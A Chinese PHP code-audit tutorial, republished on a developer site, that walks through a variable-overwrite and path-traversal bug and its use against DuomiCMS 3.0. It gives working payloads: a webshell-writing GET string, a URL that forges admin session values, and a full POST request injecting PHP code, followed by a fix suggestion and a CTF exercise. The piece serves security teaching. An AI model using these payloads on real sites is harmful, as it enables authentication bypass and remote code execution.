[红日安全]代码审计Day14 – 从变量覆盖到getshell

栏目: PHP · 发布时间: 5年前

内容简介:本文由红日安全成员: 七月火编写,如有不当,还望斧正。大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫

本文由红日安全成员: 七月火编写,如有不当,还望斧正。

本文转载自先知社区: https://xz.aliyun.com/u/10394

前言

大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个 PHP 代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章,属于项目 第一阶段 的内容,本阶段的内容题目均来自  PHP SECURITY CALENDAR 2017 。对于每一道题目,我们均给出对应的分析,并结合实际CMS进行解说。在文章的最后,我们还会留一道CTF题目,供大家练习,希望大家喜欢。下面是 第14篇 代码审计文章:Day 14 - Snowman

题目叫做雪人,代码如下:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

漏洞解析 :

这道题目讲的是一个 变量覆盖 与 路径穿越 问题。在 第10-11行 处, Carrot 类的构造方法将超全局数组 $_GET 进行变量注册,这样即可覆盖 第8行 已定义的 $this-> 变量。而在 第16行 处的析构函数中, file_put_contents 函数的第一个参数又是由 $this-> 变量拼接的,这就导致我们可以控制写入文件的位置,最终造成任意文件写入问题。下面我们试着使用 payload :id=../var/www/html/shell.php&shell=',)%0a// 写入 webshell :

[红日安全]代码审计Day14 – 从变量覆盖到getshell

实例分析

本次实例分析,我们选取的是 DuomiCMS_3.0 最新版。该CMS存在全局变量注册问题,如果程序编写不当,会导致变量覆盖,本次我们便来分析 由变量覆盖导致的getshell 问题。

首先我们先来看一下该CMS中的全局变量注册代码,该代码位于 duomiphp/common.php 文件中,如下:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

[红日安全]代码审计Day14 – 从变量覆盖到getshell

其中 _RunMagicQuotes 函数将特殊符号,使用 addslashes 函数进行转义处理。我们来搜索 fwrite 函数,看看是否存在可利用的写文件程序(为了写 shell )。phpstorm 程序搜索结果如下:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

我们可以看到有一个 admin\admin_ping.php 文件中,存在可利用的地方,因为其写入的目标文件为 PHP 程序,且写入内容中存在两个可控变量。其代码具体如下:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

$weburl 变量和 $token 变量从 POST方式 获取,其变量也只是经过 _RunMagicQuotes 函数过滤处理,以及 duomiphp\webscan.php 文件的过滤规则,但是并不影响我们写shell。过滤规则具体如下:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

然而要想利用这个文件,我们就必须是 admin 身份,不然没有权限访问该文件。所以我们看看该CMS是如何对用户身份进行认定的,是否可以利用之前的变量覆盖来伪造身份呢?

跟进 admin\admin_ping.php 文件开头包含的 admin\config.php 文件,那么我们要关注的是如下代码:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

我们需要知道程序是如何对用户的身份进行处理的,跟进 duomiphp\check.admin.php 文件,关注如下代码:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

我们可以看到这里记录了用户名字、所属组、用户,再来看看 admin 所对应的这三个值分别是多少。找到 admin\login.php文件,如下图,我们只要让 checkUser 方法返回1即是admin用户。

[红日安全]代码审计Day14 – 从变量覆盖到getshell

跟进 duomiphp\check.admin.php 文件的 checkUser 方法,具体代码如下:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

我们直接使用正确admin账号密码登录后台,可以观察到admin用户对应的用户和所属组均为1。

[红日安全]代码审计Day14 – 从变量覆盖到getshell

那么现在我们只要利用变量覆盖漏洞,覆盖 session 的值,从而伪造 admin 身份,然后就可以愉快的写 shell 了。

漏洞利用

我们需要先找一些开启 session_start 函数的程序来辅助我们伪造身份,我们这里就选择 member/share.php 文件。

[红日安全]代码审计Day14 – 从变量覆盖到getshell

我们先访问如下  payload  :

http://localhost/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1

当我们访问 payload 后,我们对应 session 的用户和所属组都变成了1。然后,我们再POST如下数据包写入webshell:

POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.localhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

weburl=";phpinfo();//&token=

[红日安全]代码审计Day14 – 从变量覆盖到getshell

修复建议

实际上,这个漏洞和 Dedecms 变量覆盖漏洞很相似。而在 Dedecms 的官方修复代码中,多了检测变量名是否为PHP原有的超全局数组,如果是,则直接退出并告知变量不允许,具体修复代码如下:

[红日安全]代码审计Day14 – 从变量覆盖到getshell

结语

看完了上述分析,不知道大家是否对 变量覆盖 导致的漏洞有了更加深入的理解,文中用到的 CMS 可以从这里( DuomiCMS_3.0 )下载,当然文中若有不当之处,还望各位斧正。如果你对我们的项目感兴趣,欢迎发送邮件到  hongrisec@gmail.com 联系我们。Day14 的分析文章就到这里,我们最后留了一道CTF题目给大家练手,题目如下:链接:  https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ 密码: 59t2(题目环境:PHP5.2.x)

题解我们会阶段性放出,如果大家有什么好的解法,可以在文章底下留言,祝大家玩的愉快!


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员面试手册

程序员面试手册

[印] 纳拉辛哈·卡鲁曼希(Narasimha Karumanchi) / 爱飞翔 / 机械工业出版社 / 2018-2-27 / 99

本书特色 以通俗易懂的方式讲述面试题,涵盖编程基础、架构设计、网络技术、数据库技术、数据结构及算法等主题 书中的题目来自微软、谷歌、亚马逊、雅虎、Oracle、Facebook等大公司的面试题,以及一些知名竞赛(如GATE)的考试题 全书约有700道算法题,每道题都有详细解答 针对每一编程问题,都会按照复杂度递减的顺序给出各种解法 专注于问题本身并对这些问题做出分析,......一起来看看 《程序员面试手册》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具